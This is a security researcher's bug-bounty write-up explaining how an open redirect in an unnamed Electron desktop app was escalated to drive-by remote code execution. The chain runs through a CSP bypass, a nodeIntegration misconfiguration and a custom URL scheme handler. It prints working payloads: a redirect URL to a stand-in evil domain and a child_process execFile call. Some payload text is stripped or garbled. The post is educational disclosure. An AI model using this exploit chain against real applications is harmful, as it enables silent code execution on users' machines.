Open Sesame: Escalating Open Redirect to RCE With Electron Code Review | by Eugene Lim | The Startup


As with any modern convenience, there are tradeoffs. On the security side of things, moving routing and templating logic to the client-side makes it easier for attackers to discover unused API endpoints, unobfuscated secrets, and more. Check out Webpack Exploder, a tool I wrote that decompiles Webpacked React applications into their original source code.

For native desktop applications, Electron applications are even easier to decompile and debug. Instead of wading through Ghidra/Radare2/Ida and heaps of assembly code, attackers can use Electron’s built-in Chromium DevTools. Meanwhile, Electron’s documentation recommends packaging applications into asar archives, a tar-like format that can be unpacked with a simple one-liner.

With the source code, attackers can search for client-side vulnerabilities and escalate them to code execution. No funky buffer overflows needed — Electron’s nodeIntegration setting puts applications one XSS away from popping calc.

The dangers of XSS in an Electron app as demonstrated by Jasmin Landry.

I love the whitebox approach to testing applications. If you know what you are looking for, you can zoom into weak points and follow your exploit as it passes through the code.

This blog post will go through my whitebox review of an unnamed Electron application from a bug bounty program. I will demonstrate how I escalated an open redirect into remote code execution with the help of some debugging. Code samples have been modified and anonymized.

  1. Browse to the Application folder.
  2. Right-click the application and select Show Package Contents.
  3. Enter the Contents directory that contains an app.asar file.
  4. Run npx asar extract app.asar source (Node should be installed).
  5. View the decompiled source code in the new source directory!

Discovering Vulnerable Config

Attempting XSS

I began testing HTML payloads like pwned in each of the inputs. Not long after, I got my first pwned! This was a promising sign. However, standard XSS payloads like or simply failed to execute. I needed to start debugging.

Bypassing CSP

electron.globalShortcut.register('CommandOrControl+H', () => {
activateDevMenu();
});

Aha! The application had its own custom keyboard shortcut to open a secret menu. I entered CMD+H and a Developer menu appeared in the menu bar. It contained a number of juicy items like Update and Callback, but most importantly, it had DevTools! I opened DevTools and resumed testing my XSS payloads. It soon became clear why they were failing – an error message popped up in the DevTools console complaining about a Content Security Policy (CSP) violation. The application itself was loading a URL with the following CSP:

Content-Security-Policy: script-src 'self' 'unsafe-eval' https://cdn.heapanalytics.com https://heapanalytics.com https://*.s3.amazonaws.com https://fast.appcues.com https://*.firebaseio.com

The CSP excluded the unsafe-inline policy, blocking event handlers like the svg payload. Furthermore, since my payloads were injected dynamically into the page using JavaScript, typical '>

(I anonymized the source URL.)

With that, I got my lovely alert box! Adrenaline pumping, I modified evilscript.js to window.require('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){}), re-sent the XSS payload, and... nothing.

We need to go deeper.

The Room of Requirement

const appWindow = createWindow('main', {
width: 1080,
height: 660,
webPreferences: {
nodeIntegration: true,
preload: path.join(__dirname, 'preload.js')
},
});

Looking into preload.js:

window.nodeRequire = require;
delete window.require;
delete window.exports;
delete window.module;

Aha! The application was renaming/deleting require in the preload sequence. This wasn't an attempt at security by obscurity; it's boilerplate code from the Electron documentation in order to get third party JavaScript libraries like AngularJS to work! As I've mentioned previously, insecure configuration is a consistent theme among vulnerable applications. By turning on nodeIntegration and re-introducing require into the window, code execution becomes a singificant possibility.

With one more tweak (using window.parent.nodeRequire since I was I executing my XSS from an iframe), I sent off my new payload, and got my calc!

Drive-By Code Execution

Consider applications like Slack and Zoom. Have you ever wondered how you can open a link on, say, zoom.us, and be prompted to open your Zoom application?

That’s because these websites are trying to open custom URL schemes that have been registered by the native application. For example, Zoom registers the zoommtg custom URL scheme with your operating system, so that if you have Zoom installed and try to open zoommtg://zoom.us/start?confno=123456789&pwd=xxxx in your browser (try it!), you will be prompted to open the native application. In some less-secure browsers, you won't even be prompted at all!

I noticed that the vulnerable application had a similar function. It would open a collaboration room in the native application if I visited a page on the website. Digging into the code, I found this handler:

function isWhitelistedDomain(url) {
var allowed = ['collabapplication.com'];
var test = extractDomain(url);
if( allowed.indexOf(test) > -1 ) {
return true;
}
return false;
};
let launchURL = parseLaunchURL(fullURL);if isWhitelistedDomain(launchURL) {
appWindow.loadURL(launchURL);
} else {
appWindow.loadURL(homeURL);
}

Let’s break this down. When the native application is launched from a custom URL scheme (in this case, collabapp://collabapplication.com?meetingno=123&pwd=abc), this URL is passed into the launch handler. The launch handler extracts the URL after collabapp://, checks that the domain in the extracted URL is collabapplication.com, and loads the URL in the application window if it passes the check.

While the whitelist checking code itself is correct, the security mechanism is incredibly fragile. So long as there is a single open redirect in collabapplication.com, you could force the native application to load an arbitrary URL in the application window. Combine that with the nodeIntegration vulnerability, and all you need is a redirect to an evil page that calls window.parent.nodeRequire(...) to get code execution!

My final payload was as follows: collabapp://collabapplication.com/redirect.jsp?next=%2f%2fevildomain.com%2fevil.html. On evil.html, I simply ran window.parent.nodeRequire('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){}).

Now, if the victim user visits any webpage that loads the evil custom URL scheme, calculator pops! Drive-by code execution without the browser zero-days.

Think back to the nodeIntegration and preload issues with the vulnerable application – the application will always remain brittle and vulnerable unless these architectural and configuration issues are fixed. Even if they patch one XSS or open redirect, any new instance of those bugs will lead to code execution. At the same time, turning nodeIntegration off would break the entire application. It needs to be rewritten from that point onwards.

Node.js frameworks like Electron allow for developers to rapidly build native applications using languages and tools they are familiar with. However, the userland is a vastly different threat landscape; popping alert in your browser is very different from popping calc in your application. Developers and users should tread carefully.



Source link